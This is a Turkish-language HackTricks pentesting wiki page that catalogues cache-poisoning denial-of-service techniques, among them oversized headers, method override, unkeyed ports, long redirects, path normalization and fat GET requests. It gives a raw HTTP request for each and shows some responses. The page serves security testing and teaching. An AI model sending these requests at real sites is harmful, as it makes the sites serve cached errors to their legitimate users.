hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos.md

6.6 KiB
Raw Blame History

Önbellek Zehirlenmesi ile DoS

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

{% hint style="danger" %} Bu sayfada, web sunucunun önbellek sunucuları için geçerli olan isteklere hatalarla yanıt vermesini denemek için farklı varyasyonlar bulabilirsiniz. {% endhint %}

  • HTTP Başlık Boyutu Aşımı (HHO)

Web sunucunun desteklediğinden daha büyük ancak önbellek sunucusunun desteklediğinden daha küçük bir başlık boyutu ile bir istek gönderin. Web sunucusu, önbelleğe alınabilecek bir 400 yanıtı ile yanıt verecektir:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Karakteri (HMC) ve Beklenmeyen Değerler

Bir \n ve \r gibi zararlı meta karakterler içeren bir başlık gönderin. Saldırının çalışması için önce önbelleği atlamalısınız.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Bir kötü yapılandırılmış başlık sadece \: olabilir.

Bu ayrıca beklenmeyen değerler gönderildiğinde de çalışabilir, örneğin beklenmeyen bir Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Anahtarlı olmayan başlık

Bazı web siteleri, istekteki belirli başlıkları gördüklerinde hata durum kodu döndürebilirler, örneğin X-Amz-Website-Location-Redirect: someThing başlığı gibi:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Yöntem Geçersiz Kılma Saldırısı (HMO)

Sunucu, X-HTTP-Method-Override, X-HTTP-Method veya X-Method-Override gibi başlıklarla HTTP yöntemini değiştirme desteği sağlıyorsa, geçerli bir sayfa istenerek yöntem değiştirilebilir, böylece sunucu bunu desteklemediği için kötü bir yanıt önbelleğe alınabilir:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Anahtarlanmamış Port

Eğer Host başlığındaki port yanıtta yansıtılıyor ve önbellek anahtarında bulunmuyorsa, kullanılmayan bir porta yönlendirmek mümkündür:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Uzun Yönlendirme DoS

Aşağıdaki örnekte olduğu gibi, x önbelleğe alınmıyor, bu yüzden bir saldırgan yönlendirme yanıt davranışını kötüye kullanarak yönlendirmenin gönderdiği URL'yi o kadar büyük yapabilir ki bir hata döndürür. Sonra, x anahtarı önbelleğe alınmamış olan URL'ye erişmeye çalışan kişiler hata yanıtını alacaklardır:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Ana başlık durum normalleştirme

Ana başlık harf büyüklüğüne duyarsız olmalıdır ancak bazı web siteleri, küçük harf olmasını bekler ve öyle olmadığında hata döndürür:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Yol normalleştirme

Bazı sayfalar, verileri URLencode olarak yollayarak hata kodları döndürecektir, ancak önbellek sunucusu yolun URLdecode edilmesini yapacak ve yanıtı URLdecode edilmiş yola saklayacaktır:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Bazı önbellek sunucuları, Cloudflare gibi veya web sunucuları, bir gövde ile GET isteklerini durdurur, bu nedenle bu, geçersiz bir yanıtı önbelleğe almak için kötüye kullanılabilir:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Referanslar

AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: